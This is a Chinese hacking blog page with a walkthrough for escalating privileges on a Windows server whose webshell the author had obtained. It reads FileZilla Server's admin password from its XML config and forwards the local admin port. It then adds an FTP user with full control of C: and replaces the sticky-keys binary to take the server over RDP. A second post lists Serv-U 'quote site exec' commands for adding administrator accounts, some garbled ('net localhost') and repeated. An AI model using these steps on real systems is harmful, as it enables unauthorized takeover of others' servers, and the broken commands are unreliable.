分类: |
- 1
ftp命令大全
作者:admin 日期:2011-03-15
FileZilla提权
作者:admin 日期:2010-05-10
事情的起因:一次拿到一个个人讲师的webshell，想提权，服务器权限设置的不严，但是提权不好提，只有一个C盘，也没装什么软件,没 mysql,mssql，su，360等一些熟悉的提权软件。执行下命令看看吧！netstat -an看到有个默认的端口14147网上搜了下原来是一款叫做FileZilla的FTP软件的一个管理端口。网上搜了下FileZilla提权，还真有http://xiaoyi.us/archFPipe.exeives/230。用了此上说的方法，但是始终连接不上，可能真的像作者说的对与网络的带宽的要求很高，或者是硬防的问题。但是自己后来想，serv-U能通过lcx直接转发，然后本地连接，为什么还要用FPipe.exe这东西呢！重新试了下，转发的太少了，还是网速问题。5秒左右才返回一个5bytes数据包给本地。难道这个办法不行？不死心在虚拟机实验了。成功了，就有了此文。
首先找到FileZilla的安装目录，打开FileZilla Server Interface.xml，里面有管理口令
在虚拟机里进行转发如下图
这里使用的本地IP是127.0.0.1因为FileZilla的管理IP地址只能是127.0.0.1
转发成功了，返回信息
接下来就是用FileZilla客户端来连接了
嘿嘿，连接成功
接下来就是添加用户，设置目录为C盘,权限设置为完全控制即可
FileZilla Server不比serv-U，可以quote site exec执行dos命令，要实现提权的话可以FTP登录上去操作文件管理，如替换系统服务、替换系统文件、将程序置于启动目录等等。
我这里就替换粘贴键了，3389登陆，5下shift拿下服务器。
ftp命令ftp quote site exec的使用
作者:admin 日期:2010-02-06
在获得服务器FTP管理员后可以用[b]quote site exec[/b]命令来添加系统管理员,cmd下操作方法如下:[b]quote site exec[/b] net user 用户名 密码 /add 添加一个用户
[b]quote site exec[/b] net localhost administrators 用户名 /add 把用户添加到系统管理员组
[b]quote site exec[/b] tskill PID 在 Windows 2003 中通过 PID 关闭进程
[b]quote site exec[/b] net localhost administrators 用户名 /add 把用户添加到系统管理员组
[b]quote site exec[/b] tskill PID 在 Windows 2003 中通过 PID 关闭进程
- 1
